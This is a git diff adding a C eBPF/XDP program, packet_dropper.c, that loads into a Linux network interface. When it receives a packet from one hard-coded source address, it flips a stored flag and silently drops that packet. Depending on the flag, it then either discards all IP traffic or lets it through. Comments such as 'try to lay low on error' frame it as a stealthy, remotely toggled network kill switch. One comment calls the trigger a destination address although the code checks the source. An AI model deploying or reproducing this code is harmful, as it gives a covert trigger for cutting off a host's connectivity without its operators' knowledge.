1 files changed, 77 insertions, 0 deletions

diff --git a/xdp-program/packet_dropper.c b/xdp-program/packet_dropper.c
new file mode 100644
index 0000000..d0a8d85
--- /dev/null
+++ b/xdp-program/packet_dropper.c
@@ -0,0 +1,77 @@
+#include <linux/bpf.h>
+#include <bpf/bpf_helpers.h>
+#include <linux/if_ether.h>
+#include <linux/in.h>
+#include <linux/if_packet.h>
+#include <linux/ip.h>
+#include <linux/tcp.h>
+
+struct {
+        __uint(type, BPF_MAP_TYPE_ARRAY);
+        __type(key, __u32);
+        __type(value, __u32);
+        __uint(max_entries, 1);
+} status SEC(".maps");
+
+SEC("xdpentry")
+int entry(struct xdp_md *ctx) {
+        // Prepare some data structures
+        __u32 *rec;
+        __u32 key = 0;
+        void *data_end = (void *)(long)ctx->data_end;
+        void *data = (void *)(long)ctx->data;
+        struct ethhdr *eth = data;
+
+        rec = bpf_map_lookup_elem(&status, &key); // Lookup current packet status from kernel map
+        if (!rec) {
+                return XDP_DROP; // try to lay low on error
+        }
+        //bpf_printk("Rec: %u", *rec); // Debug prints
+        if ((*rec != 55) && (*rec != 56)) {
+                // First run check
+                // bpf_printk("Resetting rec!"); // Debug Prints
+                *rec = 56; // set default value for map
+        }
+
+        if (eth + 1 > data_end) // Bounds checking for xdp preverifier
+                return XDP_PASS; // This should never run normally
+
+        /** if(eth->h_proto != ETH_P_IP) {
+                return XDP_PASS; // don't kill layer 2 traffic
+        } **/
+
+        struct iphdr *iph = data + sizeof(struct ethhdr);
+        if (iph + 1 > data_end) // More bounds checking
+                return XDP_PASS; // This should never run either
+                                 //
+        __u32 ip_src = iph->saddr; // grab source address of packet
+        // bpf_printk("Incoming packet: %u\n", ip_src); // Debug print
+        // Determine if we need to further process this packet
+        if (ip_src == 1946091487) {
+                // This packet had a destination of 223.255.254.115, do something!
+                // bpf_printk("Got it!, setting rec..."); // Debug print
+                switch (*rec) {
+                        case 55 :
+                                *rec = 56;
+                                break;
+                        case 56 :
+                                *rec = 55;
+                                break;
+                }
+                return XDP_DROP;
+        }
+        else if (ip_src == 0) {
+                // most likely a layer 2 packet, let it thru
+                return XDP_PASS;
+        }
+
+        // Finish processing
+        if (*rec == 55) {
+                return XDP_DROP;
+        } else {
+                return XDP_PASS;
+        }
+}
+
+
+char _license[] SEC("license")= "GPL";